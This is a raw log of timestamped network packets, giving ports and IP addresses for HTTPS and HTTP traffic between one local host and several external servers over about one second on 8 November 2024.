Nov 8, 2024 15:21:12.911679983 CET	443	49794	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.911729097 CET	49794	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.911739111 CET	443	49794	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.911787033 CET	443	49794	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.911835909 CET	49794	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.914125919 CET	443	49796	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.914149046 CET	443	49796	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.914200068 CET	49795	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.914217949 CET	443	49795	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.914254904 CET	49796	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.914273977 CET	443	49796	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.914400101 CET	443	49796	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.914450884 CET	49796	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.914839983 CET	49802	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.914877892 CET	443	49802	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.914937973 CET	49802	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.917196989 CET	49802	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.917222023 CET	443	49802	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.920742035 CET	49794	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.920753002 CET	443	49794	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.924272060 CET	49796	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.924285889 CET	443	49796	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.931704998 CET	443	49793	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.931730032 CET	443	49793	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.931785107 CET	49793	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.931791067 CET	443	49793	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.931854963 CET	49793	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.932775974 CET	49793	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.932785988 CET	443	49793	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.943237066 CET	49799	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:12.948309898 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.948331118 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.948340893 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.948381901 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.948465109 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.984962940 CET	443	49797	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.984989882 CET	443	49797	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.985054016 CET	49797	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.985058069 CET	443	49797	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.985232115 CET	49797	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.986371994 CET	49797	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.986397982 CET	443	49797	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:13.018500090 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.018539906 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.018553972 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.018583059 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.018583059 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.018619061 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.018641949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.018654108 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.018677950 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.018759012 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.020390034 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.020422935 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.020433903 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.020472050 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.020505905 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.020529032 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.020548105 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.020548105 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.020591974 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.020626068 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.020634890 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.020697117 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.020703077 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.020720959 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.020751953 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.020809889 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.020819902 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.020967960 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.021331072 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.021373987 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.021379948 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.021388054 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.021430969 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.021450996 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.021502972 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.021513939 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.021558046 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.021558046 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.062294006 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.062305927 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.062361956 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.062391043 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.103044033 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.103056908 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.103065968 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.103187084 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.103327036 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.138834000 CET	443	49800	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:13.139626980 CET	49800	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:13.139655113 CET	443	49800	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:13.139915943 CET	443	49800	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:13.140227079 CET	49800	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:13.140269041 CET	443	49800	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:13.172921896 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.172957897 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.172970057 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.173054934 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.173105001 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.173122883 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.173170090 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.175231934 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.175280094 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.175290108 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.175339937 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.175434113 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.175446033 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.175457001 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.175467968 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.175565004 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.175568104 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.175565004 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.175565004 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.175602913 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.175651073 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.175662041 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.175708055 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.175730944 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.175786972 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.175796986 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.175810099 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.175851107 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.175851107 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.180850029 CET	49800	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:13.256207943 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.256222963 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.256290913 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.256297112 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.256308079 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.256340981 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.257306099 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.257373095 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.257383108 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.257386923 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.257426977 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.327431917 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.327455044 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.327466011 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.327497005 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.327508926 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.327512980 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.327548981 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.327609062 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.327619076 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.327651024 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.330370903 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.330403090 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.330415010 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.330528021 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.330553055 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.330564022 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.330574036 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.330585003 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.330600977 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.330631971 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.330804110 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.330816031 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.330826998 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.330873013 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.330988884 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.331103086 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.333797932 CET	443	49801	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:13.334084034 CET	49801	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:13.334115028 CET	443	49801	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:13.334640026 CET	443	49801	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:13.335007906 CET	49801	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:13.335081100 CET	443	49801	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:13.335175991 CET	49801	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:13.370162964 CET	49803	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:13.370198965 CET	443	49803	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:13.370300055 CET	49803	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:13.370495081 CET	49803	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:13.370507956 CET	443	49803	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:13.379326105 CET	443	49801	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:13.411046982 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.411062956 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.411073923 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.411199093 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.411199093 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.411997080 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.412043095 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.412053108 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.412197113 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.467741966 CET	443	49801	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:13.468060970 CET	443	49801	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:13.469038963 CET	49801	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:13.482031107 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.482047081 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.482063055 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.482083082 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.482094049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.482168913 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.482203007 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.484100103 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.484119892 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.484128952 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.484174013 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.484200001 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.484407902 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.484467983 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.484481096 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.484503031 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.484539032 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.484539032 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.484721899 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.484731913 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.484812021 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.484817982 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.484877110 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.484889984 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.484930992 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.484930992 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.484976053 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.484988928 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.484998941 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.485025883 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.485025883 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.491417885 CET	49801	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:13.491487026 CET	443	49801	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:13.565584898 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.565606117 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.565618992 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.565728903 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.565728903 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.566328049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.566354036 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.566365004 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.566436052 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.566436052 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.568964958 CET	49804	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:13.569010973 CET	443	49804	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:13.569180012 CET	49804	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:13.569386005 CET	49804	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:13.569399118 CET	443	49804	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:13.572246075 CET	49805	443	192.168.2.8	20.125.209.212
Nov 8, 2024 15:21:13.572288990 CET	443	49805	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:13.572534084 CET	49805	443	192.168.2.8	20.125.209.212
Nov 8, 2024 15:21:13.572750092 CET	49805	443	192.168.2.8	20.125.209.212
Nov 8, 2024 15:21:13.572762966 CET	443	49805	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:13.636404037 CET	443	49802	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:13.636497974 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.636542082 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.636552095 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.636581898 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.636603117 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.636666059 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.636960983 CET	49802	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:13.636991024 CET	443	49802	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:13.637330055 CET	443	49802	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:13.637980938 CET	49802	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:13.638046980 CET	443	49802	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:13.638252974 CET	49802	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:13.638636112 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.638655901 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.638720989 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.638761997 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.638823986 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.638874054 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.638874054 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.638931036 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.639004946 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.639044046 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.639065027 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.639094114 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.639097929 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.639128923 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.639128923 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.639162064 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.639173985 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.639199018 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.639276028 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.639307976 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.639328003 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.639339924 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.639373064 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.639518023 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.639538050 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.639585018 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.639600992 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.639619112 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.639652967 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.639657021 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.639664888 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.639692068 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.639708996 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.679342985 CET	443	49802	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:13.722450018 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.722475052 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.722486973 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.722518921 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.722537041 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.722537041 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.722560883 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.722574949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.722574949 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.722611904 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.722611904 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.765475035 CET	443	49802	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:13.765503883 CET	443	49802	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:13.765564919 CET	49802	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:13.765592098 CET	443	49802	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:13.765719891 CET	443	49802	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:13.766757965 CET	49802	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:13.768245935 CET	49802	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:13.768260002 CET	443	49802	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:13.768280983 CET	49802	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:13.768342018 CET	49802	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:13.776375055 CET	49806	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:13.776407957 CET	443	49806	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:13.776467085 CET	49806	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:13.776921988 CET	49807	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:13.776979923 CET	443	49807	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:13.777131081 CET	49807	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:13.777215958 CET	49808	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:13.777240992 CET	443	49808	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:13.777324915 CET	49808	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:13.777467012 CET	49809	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:13.777498960 CET	443	49809	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:13.777579069 CET	49809	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:13.777838945 CET	49810	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:13.777849913 CET	443	49810	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:13.777906895 CET	49810	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:13.778248072 CET	49811	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:13.778259993 CET	443	49811	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:13.778467894 CET	49811	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:13.779359102 CET	49806	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:13.779371023 CET	443	49806	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:13.779560089 CET	49807	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:13.779578924 CET	443	49807	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:13.779752016 CET	49808	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:13.779767036 CET	443	49808	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:13.779901981 CET	49809	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:13.779915094 CET	443	49809	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:13.780008078 CET	49810	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:13.780025959 CET	443	49810	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:13.780369043 CET	49811	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:13.780380964 CET	443	49811	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:13.793385983 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.793400049 CET	80	49753	185.215.113.206	192.168.2.8
